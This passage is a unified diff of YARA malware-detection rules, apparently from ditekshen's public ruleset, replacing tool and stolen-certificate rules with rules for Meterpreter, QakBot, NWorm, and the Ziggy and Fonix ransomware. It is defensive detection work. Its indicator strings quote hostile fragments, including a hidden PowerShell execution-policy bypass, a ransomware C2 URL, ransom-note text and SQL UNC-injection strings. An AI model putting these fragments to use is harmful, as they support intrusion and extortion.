) == 0x5a4d and ( 4 of ( $s* ) or ( 3 of ( $s* ) and 1 of ( $v* ) ) ) + (( uint16( 0 ) == 0x5a4d and all of ( $s* ) ) or all of them ) } -rule DITEKSHEN_INDICATOR_TOOL_Edrprison : FILE +rule DITEKSHEN_MALWARE_Win_Meterpreter : FILE { meta: - description = "Detects EDRPrison" - author = "ditekshen" - id = "85831265-fd9e-5e0e-b5d9-22bf1c89b3f2" + description = "Detects Meterpreter payload" + author = "ditekSHen" + id = "d72fef80-d624-5e39-963a-8d7c12eb2d9c" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1859-L1872" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3330-L3343" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "e1ef9e9c6bd0d2efa7b0b617fb52100075658221559f92a61c672807ab5a4d77" + logic_hash = "5226cd7bb2344b822ee94d75f81a523ff701778de97a32ae52c604a4855e960c" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "Block:" wide - $s2 = "PacketLen:" wide - $s3 = "DoWorkPacket_Step" ascii - $s4 = "DoWorkAsyncNETWORK" ascii - $s5 = "BlockMessage" ascii - $s6 = "GetRmAddrPortNetwork" ascii + $s1 = "PACKET TRANSMIT" fullword ascii + $s2 = "PACKET RECEIVE" fullword ascii + $s3 = "\\\\%s\\pipe\\%s" fullword ascii wide + $s4 = "%04x-%04x:%s" fullword wide + $s5 = "server.dll" fullword ascii condition: - uint16( 0 ) == 0x5a4d and 5 of them + ( uint16( 0 ) == 0x5a4d and all of them ) or ( filesize < 300KB and all of them ) } -rule DITEKSHEN_INDICATOR_TOOL_Sharpsqlpwn : FILE +rule DITEKSHEN_MALWARE_Win_Trojan_Expresscms : FILE { meta: - description = "Detects SharpSQLPwn" - author = "ditekshen" - id = "f99c0ddb-a073-5c15-9a7c-60f6766cd0a2" + description = "Detects ExpressCMS" + author = "ditekSHen" + id = "d096db0c-05f6-5b69-9d84-0105f2182ff3" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1874-L1891" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3366-L3382" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "c811d4926c433c6521f4bbe03a1abf4a5b27b56931a18a8bb672f37fe4fccfb8" + logic_hash = "64d551e0c11b6394f9ae2b8fa749c36cb1b5c3f498592f95dc19fdea23c53160" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.ExpressCMS" strings: - $s1 = "smb_ip" fullword ascii - $s2 = "Recon" fullword ascii - $s3 = "UNCPathInjection" fullword ascii - $s4 = "from sys.server_principals" wide - $s5 = "EXEC sp_configure '" wide - $s6 = "EXEC ('sp_configure" wide - $s7 = "CREATE ASSEMBLY" wide - $s8 = "DROP ASSEMBLY" wide - $s9 = "FROM 0x" wide - $s10 = "EXEC master..xp_dirtree \"\\\\" wide + $s1 = "/click.php?cnv_id=" fullword wide + $s2 = "/click.php?key=" wide + $s3 = "jdlnb" fullword wide + $s4 = "Gkjfdshfkjjd: dsdjdsjdhv" fullword wide + $s5 = "--elevated" fullword wide + $s6 = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\%d" wide + $s7 = "\\Microsoft\\Manager.exe" fullword wide + $s8 = "\\Microsoft\\svchost.exe" fullword wide condition: - uint16( 0 ) == 0x5a4d and 7 of them + uint16( 0 ) == 0x5a4d and 6 of them } -rule DITEKSHEN_INDICATOR_TOOL_Chromekatz : FILE +rule DITEKSHEN_MALWARE_Win_Meterpreterstager : FILE { meta: - description = "Detects ChromeKatz: CookieKatz and CredentialKatz" - author = "ditekshen" - id = "9dd706c8-552c-5c96-9b81-cfd50157ac34" + description = "Detects Meterpreter stager payload" + author = "ditekSHen" + id = "dfbc37e9-13e0-55e2-a501-1005eea52b63" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1893-L1908" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3384-L3395" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "4f1bdbb7f8c4893444baac287c8fcefaca80a4301845706b56e9f9628c9f116f" + logic_hash = "0ac53a10abb1e4dd7da57872cd1779851d953127a912c31a5e411d8eb9bd07f4" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "\\include\\xmemory" ascii wide - $s2 = "targetBrowser" ascii - $s3 = "thirdPattern" ascii - $s4 = "isBrowserWow64" ascii - $s5 = "wcscpy_s(memory, size_in_elements, string)" fullword wide - $s6 = "hChrome" fullword ascii - $t1 = "szCookieMonster" fullword ascii - $t2 = "szPasswordReuseDetectorInstances" fullword ascii + $s1 = "PAYLOAD:" fullword ascii + $s2 = "AQAPRQVH1" fullword ascii + $s3 = "ws2_32" fullword ascii + $s4 = "KERNEL32.dll" fullword ascii condition: - uint16( 0 ) == 0x5a4d and 6 of them + uint16( 0 ) == 0x5a4d and all of them and filesize < 100KB } - -rule DITEKSHEN_INDICATOR_KB_CERT_56203Db039Adbd6094B6A142C5E50587 : FILE +rule DITEKSHEN_MALWARE_Win_Ziggy : FILE { meta: - description = "Detects executables signed with stolen, revoked or invalid certificate" + description = "Detects Ziggy ransomware" author = "ditekSHen" - id = "b3e56f78-e79a-52e3-b29e-1f566946609e" - date = "2020-11-19" - modified = "2024-10-04" + id = "6d2d316a-cf19-5001-bf94-842346229d76" + date = "2020-11-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_certs.yar#L3-L14" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3397-L3421" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "38380bc1a22b8d0fe851f76d2ecadba638f10b01873be44766124fb738e23d71" + logic_hash = "103a50511971161ca673e0c8378aeca2fa7d0f6309966bbb2b70e0d039e0f196" score = 75 quality = 75 tags = "FILE" - thumbprint = "e438c77483ecab0ff55cc31f2fd2f835958fad80" - importance = 20 + snort2_sid = "920098" + snort3_sid = "920096" + clamav_sig = "MALWARE.Win.Ransomware.Ziggy" + + strings: + $id1 = "/Ziggy Info;component/mainwindow.xaml" fullword wide + $id2 = "AZiggy Info, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" fullword ascii + $id3 = "Ziggy Ransomware" fullword wide + $id4 = "clr-namespace:Zeggy" fullword ascii + $s1 = "GetCooldown" fullword ascii + $s2 = "checkCommandMappings" fullword ascii + $s3 = "add_OnExecuteCommand" fullword ascii + $s4 = "MindLated.jpg" fullword wide + $s5 = "http://fixfiles.xyz/ziggy/api/info.php?id=" fullword wide + $s6 = "Reamaining time:" fullword wide + $msg1 = "<:In case of no answer in 12 hours write us to this e-mail" ascii + $msg2 = "Free decryption as guarantee" fullword ascii + $msg3 = "# Do not try to decrypt your data using third party software, it may cause permanent data loss" ascii + $msg4 = "# Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can becom" ascii condition: - uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Bccabdacabbdcda" and pe.signatures [ i ] . serial == "56:20:3d:b0:39:ad:bd:60:94:b6:a1:42:c5:e5:05:87" ) + uint16( 0 ) == 0x5a4d and ( 3 of ( $id* ) or 4 of ( $s* ) or 3 of ( $msg* ) ) } - -rule DITEKSHEN_INDICATOR_KB_CERT_B5F34B7C326C73C392B515Eb4C2Ec80E : FILE +rule DITEKSHEN_MALWARE_Win_Nworm : FILE { meta: - description = "Detects executables signed with stolen, revoked or invalid certificate" + description = "Detects NWorm/N-W0rm payload" author = "ditekSHen" - id = "f5d19333-4aee-52d3-aeac-822b39ec653a" - date = "2020-11-19" - modified = "2024-10-04" + id = "06546ccf-8914-5b1c-942f-99664b9ecf44" + date = "2020-11-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_certs.yar#L16-L27" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3423-L3443" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "553ef777cb7a93934caa53cc9acdc37fc4cbe2a28ae320f4a7f10b2a4073d675" + logic_hash = "a1397a057422be260b5bdf1eb58571e95c259c132cc2518b39e1524a0eda9c66" score = 75 quality = 75 tags = "FILE" - thumbprint = "9d35805d6311fd2fe6c49427f55f0b4e2836bbc5" - importance = 20 + clamav_sig = "MALWARE.Win.Trojan.NWorm" + + strings: + $id1 = "N-W0rm" ascii + $id2 = "N_W0rm" ascii + $x1 = "pongPing" fullword wide + $x2 = "|NW|" fullword wide + $s1 = "runFile" fullword wide + $s2 = "runUrl" fullword wide + $s3 = "killer" fullword wide + $s4 = "powershell" fullword wide + $s5 = "wscript.exe" fullword wide + $s6 = "ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"" fullword wide + $s7 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36" fullword wide + $s8 = "Start-Sleep -Seconds 1.5; Remove-Item -Path '" fullword wide condition: - uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Cdaadbffbaedaabbdedfdbfebf" and pe.signatures [ i ] . serial == "b5:f3:4b:7c:32:6c:73:c3:92:b5:15:eb:4c:2e:c8:0e" ) + uint16( 0 ) == 0x5a4d and ( ( 1 of ( $id* ) and ( 1 of ( $x* ) or 3 of ( $s* ) ) ) or ( all of ( $x* ) and 2 of ( $s* ) ) or 7 of ( $s* ) or 10 of them ) } - -rule DITEKSHEN_INDICATOR_KB_CERT_0A1Dc99E4D5264C45A5090F93242A30A : FILE +rule DITEKSHEN_MALWARE_Win_Qakbot : FILE { meta: - description = "Detects executables signed with stolen, revoked or invalid certificate" + description = "Detects variants of QakBot payload" author = "ditekSHen" - id = "8efea9da-a3ae-5af3-83b2-cac5baa4fa89" - date = "2020-11-19" - modified = "2024-10-04" + id = "3a3b3b6c-0969-584e-a184-7acfca3cdd42" + date = "2020-11-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_certs.yar#L29-L40" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3445-L3457" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "cb230503e17e93f78b04723c32d7ce66bdf146846e0208d268eebc0e446a6917" + logic_hash = "b64c05eb7ac03b2b4709f9979d117e4cacc617f21d0b3bf1c1be42aa18cc44cc" score = 75 - quality = 75 + quality = 73 tags = "FILE" - thumbprint = "17680b1ebaa74f94272957da11e914a3a545f16f" - importance = 20 + + strings: + $s1 = "stager_1.dll" fullword ascii + $s2 = "_vsnwprintf" fullword ascii + $s3 = "DllRegisterServer" fullword ascii + $s4 = "Win32_PnPEntity" fullword wide + $s5 = "0>user32.dll" fullword ascii condition: - uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "K & D KOMPANI d.o.o." and pe.signatures [ i ] . serial == "0a:1d:c9:9e:4d:52:64:c4:5a:50:90:f9:32:42:a3:0a" ) + uint16( 0 ) == 0x5a4d and all of them } - -rule DITEKSHEN_INDICATOR_KB_CERT_0D53690631Dd186C56Be9026Eb931Ae2 : FILE +rule DITEKSHEN_MALWARE_Win_Fonix : FILE { meta: - description = "Detects executables signed with stolen, revoked or invalid certificate" + description = "Detects Fonix ransomware" author = "ditekSHen" - id = "f0afbdf4-68db-522f-95d7-cd76aa7b9710" - date = "2020-11-19" - modified = "2024-10-04" + id = "d67cce49-5f4f-59f6-b2a9-9c4dd1c6c0f6" + date = "2020-11-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_certs.yar#L42-L53" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3459-L3481" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "645c2340fe7e7ce992f3f655d5058834d0df6a64ea20ef7794893a592124c55e" + logic_hash = "159b8946f7772c76271de821eb12897689bf73d96fc6a1d7c4a65cdc50b877c7" score = 75 quality = 75 tags = "FILE" - thumbprint = "c5d1e46a40a8200587d067814adf0bbfa09780f5" - importance = 20 + clamav_sig = "MALWARE.Win.Ransomware.Fonix" + + strings: + $s1 = "dontcryptanyway" fullword wide + $s2 = "Cpriv.key" ascii wide + $s3 = "Cpub.key" ascii wide + $s4 = "NetShareEnum() failed!Error: % ld" fullword wide + $s5 = "
Attention!